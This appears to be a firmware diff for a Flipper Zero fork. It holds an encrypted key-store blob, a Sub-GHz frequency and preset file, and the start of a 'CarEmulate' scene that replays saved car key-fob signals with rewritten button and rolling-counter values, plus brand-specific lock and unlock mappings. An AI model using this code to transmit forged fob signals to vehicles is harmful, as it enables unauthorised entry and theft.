FC4DE22CD5370320:1:DTM_Neo
|
||||
FEDCBA9876543210:2:Came_Tam
|
||||
Encryption: 1
|
||||
IV: 41 52 46 5F 54 68 65 5F 46 69 72 6D 77 61 72 65
|
||||
1F55E94BD99C5FCA4E8CD620CB2F014854B25B5A5AC7633F7B8C2CE3993328A7A275ED382F23319461EC7B2E2BC450AC
|
||||
71DF40F4D16CF30DC5223ED59B395704BC67271E3058CB09D7F5D9CEE1C04852
|
||||
250208FB825F12A07A8C3F295C3B5FA69F52F2C9CA80452FDD1AEFC5A25F24DC
|
||||
9D6D26F67532E91FE89476A9E754A60DF8ECE7B92CD1772A7AD3190FCABF06414C0A3762E0012D102798EE204A5549EC
|
||||
0DCC0382D81B9D3E291FDEDDC697E2841D88A326D2869BA29F248D5DA4C96110
|
||||
F84B5EB3BB882F76E0264A5A1791EDAC8A1CA35E7579EA4D247E473EB1F8F4C1
|
||||
F8A4AFFF527E13643AC511900CF1764408691F60ABD1373E6AFE477E9967FD7F57E3CE41AE4700722DFA383BC64E9669
|
||||
265C0060DE53B95EF07EE3E00045A6D03C89FE1D89F90EA3A2AFBFDB4A4636D6
|
||||
DA1EBA6372C50D2072AC38CAACA3B023DEFDAE50987E764BEDA1E9FE53390CBA
|
||||
1C0378D5294FC62DCD95A385B3AD2E6FACC13D9AAC37EF7BCE4341E33876BCE8
|
||||
68AA58FB1DCDC05E56E0685DC57661333F66D890C6377771327DFB5EBEDA6AE1
|
||||
E647CDE269D1DC5F404830C30B3CE38D8C0B6E928DB4E8863523799E51977B2B
|
||||
AB40C8B0815B04C84BA1B1ACFFC93F20FE7F60F64AAE6E6AD4562415E6EFC049
|
||||
DCD258016EB06D81DFC494261017E9DF36601076970EA09B008EEA43DA0E68EE
|
||||
321F568C032B4C8B0B392A868ECC0D87EC9969E328FA35BBE9656701C77C35A8
|
||||
E14A72B0B0689AA7E08A6081E56A00862A34808D77111DE804DDFA39FFCF6782
|
||||
FF2573046D35FAA029BF0871A2D3216029B66927CECF527C72F192E06E13C3DC
|
||||
FF890BCB54AD911EE78345FCC4F2DA65B653D68C7F6774C74DC998A2295F4916
|
||||
8D1D92B53C1DD31BE8E1759640471793EFA8E987A4EDEE64A6DF658F2F67C136F5EFC0E895493BC02DB11B783E04DF84
|
||||
20FD4B91D4169332B3CCCBDAB4FA5C730F37FF16A283ADBA6EA9D80F5D9C9F26
|
||||
7B710488CFE33CE2EDDD37A3E864A517F7309FB097F8959497A5AD42B0E5C8AC2BA7AC6CD6B0BFCDEF5C88F4A995F20C
|
||||
00D242BF328330A11124C423779CC73379BB80B8071CEFB8F413ED3C9A11BB1F7D4B3B22CA0AC10A74A68887E0994259
|
||||
5BA325DD503C710D0BC153C50A2CC4F621AB6AE87E9CBBCD2996ED1B2FA1A854
|
||||
731724428F104BB5697E7705B3E0834B41202A9F2D49C90C4889DDDB21F5AC3E
|
||||
A22BAAB3818146B7B099CD3D65634F7CEBAD36015E7A5A16206ADFBD51988E038F2F62D273CA65CC592AF7DEB805510A
|
||||
8DD12F73EF956047011A61C212986775D2A41F98E629DD78C6FA70C0E2634ECA
|
||||
25D57BF539C51295524A53E5EF633547C54CB3D9A8072D9CAD897CEBD2AED3B3
|
||||
C54BA9B2D4C6DFDC639E2964316D5311B2A039631880D5F4986E38D63976E28EABFF01B643EFC853DFB8E2E1622A7674
|
||||
7A4062817B4848748A66AB34F9A4DA942BB3FE82CE1E264A12297FB7C6CF68B4
|
||||
65DC6DC85C44CF8D04F7B786C16D30F9BB12C7AE80B68612464021CAAEB196AD
|
||||
DD1F98CF4AF384B2412A786614C16109ED8FF9E842DCFF8E859B1D27BF1E08AD4C31793D1A6E07F8BCC7E5E0BCD4DF3B
|
||||
C0FF96999B5AC49EDCDFF82A51968F2A985D240A2AC91178C02B34DDD5F2EE77DA0804D9E47470889DC8FC8BA01B2C11
|
||||
51BAEBB4763C7E2A57C638ED824D83C73FB5E3E128992BBAAB7690CED5B40310
|
||||
947F12090F89793CE465816679654F5E6397E3A15D726DF86A6023E6E8ABB065
|
||||
B70CC56D0AF6F8E04E63031BBCB02EED4DB59A80B81FD4F67B8B61DFA57A0D51
|
||||
C3DC0E9717759C36DFBDA6CCDD146B54C5F1A52A3C3802ADE9D2303BD179F5CE
|
||||
5728832CD50226018ADD6A4736866EE4E932616C1CE74D67E2CE00D1427CBD96
|
||||
222A41966802B8607EF496D898D5BCA41BD9D891552F53FD809C81C487EBB8C25DB6CA656AFF45D5911BE9B10BADBDF5
|
||||
E171BE8EEC7773BB6AC1EC6B8AD13696267770931E4D72ADEB6A519A085F4EAF
|
||||
29FA68F7BB01E55AA738A68866F674CF34873E6109C328D4654FF3CCAE7D3C73
|
||||
E6791ABDD092843AE7A9B3A936B1AA77B812FF16CEA352F7972F132480AA4561
|
||||
701A4DCFF6C7A56D9DAC77F071220F7C28B8206BB5F3213F5761C8ED6DABEDC6
|
||||
AA4678E9AF3FE65F9B8E90A5CC95034CF510F1BD2C26DC89200CDAF3E15A9990
|
||||
A13B1578F6A2241830208014AD3E864CB0AA442AFF02952F3C2FCCC4F33140B2
|
||||
7C08CEC7BD2CC73EC9C436D32BB692E9020B9E043CF5F428705097F0AB141DEF
|
||||
8F39C7668AD33A2F66E5451E07CDF87D4B44FC962DEDE7D68365EA8E729A058E
|
||||
67F6C50C2D1BDEF471913E405A182D91040D4F4160484ED8762037F7F2EE8EBA
|
||||
4DF3627B7F42226780EB3C247F18C1F37CD25AA22C120F69B732A1FAC9D02C8A
|
||||
2A277456C8BA44CDC5A44D4353B9FA04D3F45743DB04B1E659F7DB4A8219672E
|
||||
1E749351CBE258D2B8710B48FF9D3F4034244C7CAEA25C93FA4A2E04E2F4CB59
|
||||
AEEA5813C69800830540B6768FCD0EF35A43FA58F6A8315AE06545A6103112D1
|
||||
5A773FDCBABB5C9ADAD19B356D0300D5A5E905E6FEDED53D209A9BE2853C5BD8
|
||||
F7C5AA9B29EB56D16610B560F65E99E78DCFE9463E6347E9477F387AC5756B05
|
||||
59AF0DCF53E422B553B250F9131E365D9265ACA04C1763CEA379459D8E2D2026E4C6523DBEC8CFA9D2C287C7AB6F8719
|
||||
CC11C8105B3643EAF8F935EE3E5408181CD7A41011EDF11F37D8BE45A70CB5A2
|
||||
0B71155A1BFE1A61D1C6122EC9961CF97BF34C188AEEA1FCBDA8A56631180926
|
||||
C4EA8825FB1030BDFCAD7A991F3CC7D65CA4300E1ABA4C53EB7287CF33031286E699217258B9CECCF99412915C50A579
|
||||
A38F7B2D60ECD413609AF9A02924D50591FB07C2EF95B8512569E48D613855F0
|
||||
6EBF32A7D2070E13A7EB01CB3CB3C62A2173DD56AC3627320B54E3D3211BCBC2
|
||||
CCD92DEBB91582B72DC921F8675002399299C243C6AE9BADFE3EEB1BCC79512C3FEA1A83393F795AC6E0546B3FFAE364
|
||||
491AD804382AA360C866082778A8ABA358FF9586A955BD5A9FD28FDF0B05744B
|
||||
9D6D8647BC32B0A4EE08F2D361B13037BA596402E6BEB4ED9D3D582F5552C89B9D96CD6836DF15E55251ED39E5D0E8C4
|
||||
BE92434BC3F646A192146500D150462E8FDFADB93E0DC8C1BE1B2F9E4B3A762B
|
||||
7FA5E6D202BE57AA4DAFE94090FA8F84D483C3A6DEFD7EDF69D0F9972F55212EEBA83C847A8374059280AEDB24BA11BC
|
||||
B6CDA34C4E8DFE3E509A22DC89B67E9706A980198D3FC522362B59647D79DBEA
|
||||
BEED72A8B1DFBABF59D58D8EA98385BF706BDF403E3F84702D0BF5D87E0FAEBC
|
||||
B049623264E92A557F1F6B04546D0D73889BF732ACE3109583CD52E226D8C2BC
|
||||
91881B87503555F8A82E3E4314C1276F636BD5F2BB451FF1E131CB8CD0E089BF
|
||||
AEA6163792A3B2D587F9270752F9D744849621E8A4DF9B5B82DFF06297DA828D4A95DD8E71267E560BFEB6C2EDB06F2A
|
||||
98CEA896C163DBE5C9839CAE6E09DF46EE9AEC8A8978C5B018DB80E1081E01A3
|
||||
27759BD9760153C94F982ADD85DA3F7FDD51EF17B3791968417ACDEBEBE59F9C
|
||||
716574AB5E60E65600B86A66F6C8A6536FB97792D5B9A5EDE477D5B623F118B1
|
||||
740FD62AFEF9D781976A5C01D8041B00A0D69DE56F1FAE030CC680D0D81793CB
|
||||
9BFF7A62569BA492B586CA27B2A87F96861F5564696AD3F779A58C09955A6342
|
||||
9BBF2793C0326BD03BA66A59BE65977C68225E26A55AAA6B56AC4F1D21B795DB
|
||||
B8D4A1B5134B09C81B586A8ADDFA6292DE50CA84D0FAA9448D610C68129FD9CD
|
||||
46827F0D09BEBFF241B4615EF4F9E5ADDB559EB87F4FC15A2AC58816969E186A
|
||||
B090E1924CEF93ADC559E876CC71D174A43FE7ECB0FA2A7D748BD51E9B4D9780
|
||||
8E8BFD7D356C101EB4998068767D9C259BE6C86A3BCE682C7BC05A8E6B32E106
|
||||
8E57374694C5EB4A928B5BC25AD17ED2A0FF9563ADFEE22DA5C5CB15896C8C08
|
||||
F4DF5C45823C2F3C590D6D962D0B46CB7442CFE1CE9930159E03C6D1B99A728E
|
||||
72B3D5150BD2BFF2411DC4C85673D29B22649FA2F7CD4309C2C3BEB834D44CF8
|
||||
51E14868A82570D2736DB6BDA6ADF110ABABC3982A1CD3F3107C9A4774DA2C49
|
||||
7AFC1EA6CFAD93CBD16D7C6783E425378405F4E45A1F4757C5703513B693B069
|
||||
944DD7315336FF24EC1D08211FF22DE40669C2D3F5D1F8C6907E6E0DD0F3024B9C536D32C4D4D1B05C0DA2AF139156BC
|
||||
F78DB3774E964AF6EA61A0E6CB6FA311A63777DD6C82E83CF1508A4845AD995A
|
||||
ADE6563483B98ABBA28FCC0AC6A6D046EBA57C28C9274938E47D07F78B3256B9
|
||||
717C322142EAD4B0160D208CAB0EC6062A79D4CE917C805757A8812E7E1BE2B4
|
||||
C6647C1643449A8E0A99F42AF0467376318FECE96EB11297EA6EC979CD50335B
|
||||
CAFDBBCA3A8DCE026E6C131435656FA5B2FE2AB7340D227D37C7318C498B3F0C
|
||||
F546BFA436AC20207F604E7634B6B30BBA4AA8047E7E72041FF023E9BFCA8D48219740033478EE52FC2CA9ED69F6B1AF
|
||||
E54DE969B061414A725483E3455923112462408DD43D221E7651F245DD9AECAA
|
||||
5E8A5BB037F8F6FF326190B9A3E6D5D0ED268D2F6EA77DAAE3E6FC2FC60AE46E
|
||||
5E4457C2A8CD8A9EC4EB16F674775D2F27AD91E7D0ED4A58E42F0C8FB2195F52
|
||||
E802E4FD33685950082F2CC510B5BD5D394FAADF7B88107F8C6BD1B30EFA5951
|
||||
A8C339432E43C41206417FE5C5341B6063D011EC682914247939000741A4325E
|
||||
97A26AAA3AA268F2271563B10173228C9CE67DE0872E7D6088B40D2B43599AA0
|
||||
452F34AA2ACB42D23BF801CBC2B9956C3DFED71B34672BA0D09D20CBC5B6AE5E
|
||||
AD473E39707EFECEC634A84099CF8BB05B9307390EAABFDF54901936E265F9EC
|
||||
E946D1047A519101DB2B4FA48939049E869D43E54AD34A2E314E67BA86D4D577
|
||||
7FCE70BF03798364ECD144909FB344FFC3C66A34AE5CBC230D970423A5412ED0
|
||||
0BF57416D2600E332F14737333A7FB7D8327B96B98F217B620B3080F61F2DFEB
|
||||
8D77033A47064B6D304C29E61FD3497CECE0CB0BE1305A0A5C418479FA142CA7
|
||||
ACDA2BB920997BF6BAA1BFFD1300BCDCE0117C81DBFAA986A2DD9820287D853E
|
||||
|
||||
@@ -0,0 +1,131 @@
|
||||
# to use manual settings and prevent them from being deleted on upgrade, rename *_user.example files to *_user
|
||||
Filetype: Flipper SubGhz Setting File
|
||||
Version: 1
|
||||
# Add Standard frequencies included with firmware and place user frequencies after them
|
||||
#Add_standard_frequencies: false
|
||||
|
||||
# Default Frequency: used as default for "Read" and "Read Raw"
|
||||
#Default_frequency: 433920000
|
||||
|
||||
# Frequencies used for "Read", "Read Raw" and "Frequency Analyzer"
|
||||
Frequency: 300000000
|
||||
Frequency: 302757000
|
||||
Frequency: 303000000
|
||||
Frequency: 303875000
|
||||
Frequency: 303900000
|
||||
Frequency: 304250000
|
||||
Frequency: 307000000
|
||||
Frequency: 307500000
|
||||
Frequency: 307800000
|
||||
Frequency: 309000000
|
||||
Frequency: 310000000
|
||||
Frequency: 312000000
|
||||
Frequency: 312100000
|
||||
Frequency: 312200000
|
||||
Frequency: 313000000
|
||||
Frequency: 313850000
|
||||
Frequency: 314000000
|
||||
Frequency: 314350000
|
||||
Frequency: 314980000
|
||||
Frequency: 315000000
|
||||
Frequency: 318000000
|
||||
Frequency: 320000000
|
||||
Frequency: 320150000
|
||||
Frequency: 330000000
|
||||
Frequency: 345000000
|
||||
Frequency: 348000000
|
||||
Frequency: 350000000
|
||||
Frequency: 387000000
|
||||
Frequency: 390000000
|
||||
Frequency: 418000000
|
||||
Frequency: 430000000
|
||||
Frequency: 430500000
|
||||
Frequency: 431000000
|
||||
Frequency: 431500000
|
||||
Frequency: 433075000
|
||||
Frequency: 433220000
|
||||
Frequency: 433420000
|
||||
Frequency: 433657070
|
||||
Frequency: 433880000
|
||||
Frequency: 433889000
|
||||
Frequency: 433900000
|
||||
Frequency: 433910000
|
||||
Frequency: 433920000
|
||||
Frequency: 433930000
|
||||
Frequency: 433940000
|
||||
Frequency: 433950000
|
||||
Frequency: 433960000
|
||||
Frequency: 434075000
|
||||
Frequency: 434176948
|
||||
Frequency: 434190000
|
||||
Frequency: 434390000
|
||||
Frequency: 434420000
|
||||
Frequency: 434620000
|
||||
Frequency: 434775000
|
||||
Frequency: 438900000
|
||||
Frequency: 440175000
|
||||
Frequency: 462750000
|
||||
Frequency: 464000000
|
||||
Frequency: 467750000
|
||||
Frequency: 779000000
|
||||
Frequency: 868350000
|
||||
Frequency: 868400000
|
||||
Frequency: 868460000
|
||||
Frequency: 868800000
|
||||
Frequency: 868950000
|
||||
Frequency: 906400000
|
||||
Frequency: 915000000
|
||||
Frequency: 925000000
|
||||
Frequency: 928000000
|
||||
|
||||
# Frequencies used for hopping mode (keep this list small or flipper will miss signal)
|
||||
Hopper_frequency: 315000000
|
||||
Hopper_frequency: 433920000
|
||||
Hopper_frequency: 434420000
|
||||
Hopper_frequency: 868350000
|
||||
|
||||
# Presets used for preset hopping mode (cycles through these modulations)
|
||||
Hopping_Preset: AM650
|
||||
Hopping_Preset: FM476
|
||||
Hopping_Preset: FM95
|
||||
|
||||
# Custom preset
|
||||
# format for CC1101 "Custom_preset_data:" XX YY XX YY .. 00 00 ZZ ZZ ZZ ZZ ZZ ZZ ZZ ZZ, where: XX-register, YY - register data, 00 00 - end load register, ZZ - 8 byte Pa table register
|
||||
|
||||
Custom_preset_name: OOK_LR
|
||||
Custom_preset_module: CC1101
|
||||
Custom_preset_data: 02 0D 07 04 08 32 0B 06 10 F8 11 32 12 30 14 00 15 00 18 18 19 16 1B 07 1C 00 1D B1 20 FB 21 B6 22 11 00 00 00 C0 00 00 00 00 00 00
|
||||
|
||||
Custom_preset_name: OOK_U
|
||||
Custom_preset_module: CC1101
|
||||
Custom_preset_data: 02 0D 07 04 08 32 0B 06 10 F8 11 32 12 30 14 00 15 00 17 0C 18 18 19 16 1B 07 1C 00 1D B1 20 FB 21 B6 22 11 2C 81 2D 35 2E 09 00 00 00 C0 00 00 00 00 00 00
|
||||
|
||||
Custom_preset_name: AM_1
|
||||
Custom_preset_module: CC1101
|
||||
Custom_preset_data: 02 0D 07 04 08 32 0B 06 10 C9 11 F8 12 30 14 00 15 14 18 18 19 16 1B 07 1C 00 1D 91 20 FB 21 55 22 00 00 00 00 C0 00 00 00 00 00 00
|
||||
|
||||
Custom_preset_name: FSK_1
|
||||
Custom_preset_module: CC1101
|
||||
Custom_preset_data: 02 0D 03 47 08 32 0B 0C 10 C7 11 93 12 00 13 22 14 F8 15 35 18 18 19 1D 1B 04 1C 00 1D 92 20 FB 21 B6 22 17 00 00 12 0E 1D 34 60 84 C8 C0
|
||||
|
||||
Custom_preset_name: F3
|
||||
Custom_preset_module: CC1101
|
||||
Custom_preset_data: 02 0D 03 47 08 32 0B 06 0C 00 0D 10 0D 0D 10 C5 11 83 12 80 13 22 14 F8 15 42 16 07 17 30 18 18 19 1D 1A 1C 1B 43 1C 40 1D 91 20 FB 21 B6 22 00 23 E9 24 2A 25 00 26 1F 2C 81 2D 35 2E 09 00 00 12 0E 1D 34 60 84 C8 C0
|
||||
|
||||
Custom_preset_name: FM95
|
||||
Custom_preset_module: CC1101
|
||||
Custom_preset_data: 02 0D 07 04 08 32 0B 06 10 67 11 83 12 04 13 02 15 24 18 18 19 16 1B 07 1C 00 1D 91 20 FB 21 56 22 10 00 00 C0 00 00 00 00 00 00 00
|
||||
|
||||
Custom_preset_name: FM15k
|
||||
Custom_preset_module: CC1101
|
||||
Custom_preset_data: 02 0D 03 47 08 32 0B 06 10 A7 11 32 12 00 13 00 14 00 15 32 18 18 19 1D 1B 04 1C 00 1D 92 20 FB 21 B6 22 17 00 00 00 12 0E 34 60 C5 C1 C0
|
||||
|
||||
Custom_preset_name: Honda1
|
||||
Custom_preset_module: CC1101
|
||||
# G2 G3 G4 D L0 L1 L2
|
||||
Custom_preset_data: 02 0D 0B 06 08 32 07 04 14 00 13 02 12 04 11 36 10 69 15 32 18 18 19 16 1D 91 1C 00 1B 07 20 FB 22 10 21 56 00 00 C0 00 00 00 00 00 00 00
|
||||
|
||||
Custom_preset_name: Honda2
|
||||
Custom_preset_module: CC1101
|
||||
# G2 G3 G4 D L0 L1 L2
|
||||
Custom_preset_data: 02 0D 0B 06 08 32 07 04 14 00 13 02 12 07 11 36 10 E9 15 32 18 18 19 16 1D 92 1C 40 1B 03 20 FB 22 10 21 56 00 00 C0 00 00 00 00 00 00 00
|
||||
@@ -1,42 +0,0 @@
|
||||
# to use manual settings and prevent them from being deleted on upgrade, rename *_user.example files to *_user
|
||||
Filetype: Flipper SubGhz Setting File
|
||||
Version: 1
|
||||
# Add Standard frequencies included with firmware and place user frequencies after them
|
||||
#Add_standard_frequencies: true
|
||||
|
||||
# Default Frequency: used as default for "Read" and "Read Raw"
|
||||
#Default_frequency: 433920000
|
||||
|
||||
# Frequencies used for "Read", "Read Raw" and "Frequency Analyzer"
|
||||
#Frequency: 300000000
|
||||
#Frequency: 310000000
|
||||
#Frequency: 320000000
|
||||
|
||||
# Frequencies used for hopping mode (keep this list small or flipper will miss signal)
|
||||
#Hopper_frequency: 300000000
|
||||
#Hopper_frequency: 310000000
|
||||
#Hopper_frequency: 310000000
|
||||
|
||||
# Custom preset
|
||||
# format for CC1101 "Custom_preset_data:" XX YY XX YY .. 00 00 ZZ ZZ ZZ ZZ ZZ ZZ ZZ ZZ, where: XX-register, YY - register data, 00 00 - end load register, ZZ - 8 byte Pa table register
|
||||
|
||||
#Custom_preset_name: FM95
|
||||
#Custom_preset_module: CC1101
|
||||
#Custom_preset_data: 02 0D 0B 06 08 32 07 04 14 00 13 02 12 04 11 83 10 67 15 24 18 18 19 16 1D 91 1C 00 1B 07 20 FB 22 10 21 56 00 00 C0 00 00 00 00 00 00 00
|
||||
|
||||
#2-FSK 200khz BW / 135kHz Filter/ 15.86Khz Deviation + Ramping
|
||||
#Custom_preset_name: FM15k
|
||||
#Custom_preset_module: CC1101
|
||||
#Custom_preset_data: 02 0D 03 47 08 32 0B 06 15 32 14 00 13 00 12 00 11 32 10 A7 18 18 19 1D 1D 92 1C 00 1B 04 20 FB 22 17 21 B6 00 00 00 12 0E 34 60 C5 C1 C0
|
||||
|
||||
#Custom_preset_name: Pagers
|
||||
#Custom_preset_module: CC1101
|
||||
#Custom_preset_data: 02 0D 07 04 08 32 0B 06 10 64 11 93 12 0C 13 02 14 00 15 15 18 18 19 16 1B 07 1C 00 1D 91 20 FB 21 56 22 10 00 00 C0 00 00 00 00 00 00 00
|
||||
|
||||
#Custom_preset_name: AM_1
|
||||
#Custom_preset_module: CC1101
|
||||
#Custom_preset_data: 02 0D 03 07 08 32 0B 06 14 00 13 00 12 30 11 32 10 17 18 18 19 18 1D 91 1C 00 1B 07 20 FB 22 11 21 B6 00 00 00 C0 00 00 00 00 00 00
|
||||
|
||||
#Custom_preset_name: AM_2
|
||||
#Custom_preset_module: CC1101
|
||||
#Custom_preset_data: 02 0D 03 07 08 32 0B 06 14 00 13 00 12 30 11 32 10 17 18 18 19 18 1D 91 1C 00 1B 07 20 FB 22 11 21 B6 00 00 00 C0 00 00 00 00 00 00
|
||||
@@ -0,0 +1,499 @@
|
||||
/**
|
||||
* Scene: CarEmulate
|
||||
* Custom automotive-key emulation GUI ported from ProtoPirate.
|
||||
* Activated when SubGhzLastSettings::custom_car_emulate == true and the
|
||||
* user presses "Emulate" on a saved dynamic protocol.
|
||||
*
|
||||
* Flow:
|
||||
* SavedMenu → Emulate → (custom_car_emulate?) CarEmulate : Transmitter
|
||||
*/
|
||||
#include "../subghz_i.h"
|
||||
#include "../views/subghz_car_emulate.h"
|
||||
#include "../helpers/subghz_custom_event.h"
|
||||
#include <lib/subghz/blocks/generic.h>
|
||||
#include <notification/notification_messages.h>
|
||||
#include "../helpers/subghz_txrx_i.h"
|
||||
#include <lib/subghz/blocks/custom_btn_i.h>
|
||||
|
||||
#define TAG "SubGhzSceneCarEmulate"
|
||||
#define MIN_TX_TICKS 66U /* ~666 ms at 100 ms tick */
|
||||
|
||||
/* ── Per-session state (heap, freed on exit) ─────────────────────────────── */
|
||||
typedef struct {
|
||||
/* Signal metadata read from fff_data */
|
||||
char protocol_name[48];
|
||||
uint32_t serial;
|
||||
uint8_t original_button;
|
||||
uint32_t original_counter;
|
||||
uint32_t current_counter;
|
||||
uint32_t freq;
|
||||
char preset_short[12]; /* "AM650", "FM476", … */
|
||||
|
||||
/* TX state */
|
||||
bool is_transmitting;
|
||||
bool stop_pending; /* stop requested before MIN_TX_TICKS elapsed */
|
||||
uint32_t tx_start_tick;
|
||||
|
||||
/* Pending button key (InputKey) decoded from the packed custom event */
|
||||
uint8_t pending_button;
|
||||
} CarEmulateState;
|
||||
|
||||
static CarEmulateState* s_state = NULL;
|
||||
|
||||
/* ═══════════════════════════════════════════════════════════════════════════
|
||||
* Button mapping (protocol-name → InputKey → button byte)
|
||||
* Ported verbatim from protopirate_scene_emulate.c
|
||||
* ═════════════════════════════════════════════════════════════════════════*/
|
||||
//static uint8_t car_emulate_map_button(
|
||||
// const char* protocol,
|
||||
// InputKey key,
|
||||
// uint8_t original) {
|
||||
|
||||
/* Land Rover V0 */
|
||||
// if(strstr(protocol, "Land Rover")) {
|
||||
// switch(key) {
|
||||
// case InputKeyUp: return 0x02; /* Lock */
|
||||
// case InputKeyOk: return 0x04; /* Unlock */
|
||||
// default: return original;
|
||||
// }
|
||||
// }
|
||||
/* Mazda */
|
||||
// if(strstr(protocol, "Mazda")) {
|
||||
// switch(key) {
|
||||
// case InputKeyUp: return 0x01;
|
||||
// case InputKeyOk: return 0x02;
|
||||
// case InputKeyDown: return 0x04;
|
||||
// case InputKeyRight: return 0x08;
|
||||
// default: return original;
|
||||
// }
|
||||
// }
|
||||
/* PSA */
|
||||
// if(strstr(protocol, "PSA")) {
|
||||
// switch(key) {
|
||||
// case InputKeyUp: return 0x1;
|
||||
// case InputKeyOk: return 0x2;
|
||||
// case InputKeyDown: return 0x4;
|
||||
// case InputKeyLeft: return 0x8;
|
||||
// default: return original;
|
||||
// }
|
||||
// }
|
||||
/* VAG */
|
||||
// if(strstr(protocol, "VAG")) {
|
||||
// if(original == 0x10 || original == 0x20 || original == 0x40) {
|
||||
// switch(key) {
|
||||
// case InputKeyUp: return 0x20;
|
||||
// case InputKeyOk: return 0x10;
|
||||
// case InputKeyDown: return 0x40;
|
||||
// default: return original;
|
||||
// }
|
||||
// }
|
||||
// switch(key) {
|
||||
// case InputKeyUp: return 0x2;
|
||||
// case InputKeyOk: return 0x1;
|
||||
// case InputKeyDown: return 0x4;
|
||||
// case InputKeyLeft: return 0x8;
|
||||
// case InputKeyRight: return 0x3;
|
||||
// default: return original;
|
||||
// }
|
||||
// }
|
||||
/* Honda Static */
|
||||
// if(strstr(protocol, "Honda Static")) {
|
||||
// switch(key) {
|
||||
// case InputKeyUp: return 0x1;
|
||||
// case InputKeyOk: return 0x2;
|
||||
// case InputKeyDown: return 0x4;
|
||||
// case InputKeyRight: return 0x5;
|
||||
// case InputKeyLeft: return 0x8;
|
||||
// default: return original;
|
||||
// }
|
||||
// }
|
||||
/* Ford */
|
||||
// if(strstr(protocol, "Ford")) {
|
||||
// switch(key) {
|
||||
// case InputKeyLeft: return 0x1;
|
||||
// case InputKeyUp: return 0x2;
|
||||
// case InputKeyOk: return 0x4;
|
||||
// case InputKeyDown: return 0x8;
|
||||
// case InputKeyRight: return 0x10;
|
||||
// default: return original;
|
||||
// }
|
||||
// }
|
||||
/* Chrysler */
|
||||
// if(strstr(protocol, "Chrysler")) {
|
||||
// switch(key) {
|
||||
// case InputKeyUp: return 0x1;
|
||||
// case InputKeyOk: return 0x2;
|
||||
// default: return original;
|
||||
// }
|
||||
// }
|
||||
/* Subaru */
|
||||
// if(strstr(protocol, "Subaru")) {
|
||||
// switch(key) {
|
||||
// case InputKeyUp: return 0x1;
|
||||
// case InputKeyOk: return 0x2;
|
||||
// case InputKeyDown: return 0x3;
|
||||
// case InputKeyLeft: return 0x4;
|
||||
// case InputKeyRight: return 0x8;
|
||||
// default: return original;
|
||||
// }
|
||||
// }
|
||||
/* Fiat V1 */
|
||||
// if(strstr(protocol, "Fiat V1")) {
|
||||
// switch(key) {
|
||||
// case InputKeyUp: return 0x8;
|
||||
// case InputKeyOk: return 0x0;
|
||||
// case InputKeyDown: return 0xD;
|
||||
// default: return original;
|
||||
// }
|
||||
// }
|
||||
/* Generic KeeLoq / KIA etc. – simple 4-button layout */
|
||||
// if(strstr(protocol, "Kia") || strstr(protocol, "KIA") ||
|
||||
// strstr(protocol, "KeeLoq") || strstr(protocol, "Keeloq")) {
|
||||
// switch(key) {
|
||||
// case InputKeyUp: return 0x1;
|
||||
// case InputKeyOk: return 0x2;
|
||||
// case InputKeyDown: return 0x3;
|
||||
// case InputKeyLeft: return 0x4;
|
||||
// case InputKeyRight: return 0x8;
|
||||
// default: return original;
|
||||
// }
|
||||
// }
|
||||
|
||||
// return original;
|
||||
//}
|
||||
|
||||
/* ═══════════════════════════════════════════════════════════════════════════
|
||||
* TX helpers
|
||||
* ═════════════════════════════════════════════════════════════════════════*/
|
||||
|
||||
/**
|
||||
* Read frequency and short preset name from fff_data.
|
||||
* Falls back to 433.92 MHz / "AM650" on failure.
|
||||
*/
|
||||
static void car_emulate_read_freq_preset(SubGhz* subghz, CarEmulateState* st) {
|
||||
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
|
||||
|
||||
st->freq = 433920000UL;
|
||||
strncpy(st->preset_short, "AM650", sizeof(st->preset_short) - 1);
|
||||
|
||||
if(!fff) return;
|
||||
|
||||
uint32_t freq = 0;
|
||||
flipper_format_rewind(fff);
|
||||
if(flipper_format_read_uint32(fff, "Frequency", &freq, 1) && freq > 0) {
|
||||
st->freq = freq;
|
||||
}
|
||||
|
||||
FuriString* preset_str = furi_string_alloc();
|
||||
flipper_format_rewind(fff);
|
||||
if(flipper_format_read_string(fff, "Preset", preset_str)) {
|
||||
/* Convert long FuriHal name → short token used by the setting */
|
||||
const char* raw = furi_string_get_cstr(preset_str);
|
||||
const char* short_name = "AM650";
|
||||
if(strstr(raw, "Ook270")) short_name = "AM270";
|
||||
else if(strstr(raw, "Ook650")) short_name = "AM650";
|
||||
else if(strstr(raw, "238")) short_name = "FM238";
|
||||
else if(strstr(raw, "12K")) short_name = "FM12K";
|
||||
else if(strstr(raw, "476")) short_name = "FM476";
|
||||
else if(strstr(raw, "Custom")) short_name = "CUST";
|
||||
strncpy(st->preset_short, short_name, sizeof(st->preset_short) - 1);
|
||||
}
|
||||
furi_string_free(preset_str);
|
||||
}
|
||||
|
||||
/** Update Btn and Cnt fields in fff_data so the transmitter re-serialises them. */
|
||||
static void car_emulate_apply_button(SubGhz* subghz, InputKey key) {
|
||||
UNUSED(subghz);
|
||||
|
||||
uint8_t custom_btn_id;
|
||||
switch(key) {
|
||||
case InputKeyUp: custom_btn_id = SUBGHZ_CUSTOM_BTN_UP; break;
|
||||
case InputKeyDown: custom_btn_id = SUBGHZ_CUSTOM_BTN_DOWN; break;
|
||||
case InputKeyLeft: custom_btn_id = SUBGHZ_CUSTOM_BTN_LEFT; break;
|
||||
case InputKeyRight: custom_btn_id = SUBGHZ_CUSTOM_BTN_RIGHT; break;
|
||||
case InputKeyOk:
|
||||
default: custom_btn_id = SUBGHZ_CUSTOM_BTN_OK; break;
|
||||
}
|
||||
|
||||
subghz_custom_btn_set(custom_btn_id);
|
||||
}
|
||||
|
||||
|
||||
/** Update Cnt in fff_data (Btn is handled by the protocol via custom_btn). */
|
||||
static void car_emulate_update_fff(SubGhz* subghz, uint32_t counter) {
|
||||
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
|
||||
if(!fff) return;
|
||||
flipper_format_rewind(fff);
|
||||
flipper_format_insert_or_update_uint32(fff, "Cnt", &counter, 1);
|
||||
}
|
||||
|
||||
|
||||
/** Apply tx_power to the current preset and start a single transmission burst. */
|
||||
static bool car_emulate_start_tx(SubGhz* subghz, uint8_t custom_btn_id) {
|
||||
SubGhzRadioPreset preset = subghz_txrx_get_preset(subghz->txrx);
|
||||
if(preset.data && preset.data_size > 0 && subghz->tx_power > 0) {
|
||||
subghz_txrx_set_tx_power(preset.data, preset.data_size, subghz->tx_power);
|
||||
FURI_LOG_I(TAG, "TX power index applied: %u", subghz->tx_power);
|
||||
}
|
||||
|
||||
subghz_custom_btn_set(custom_btn_id);
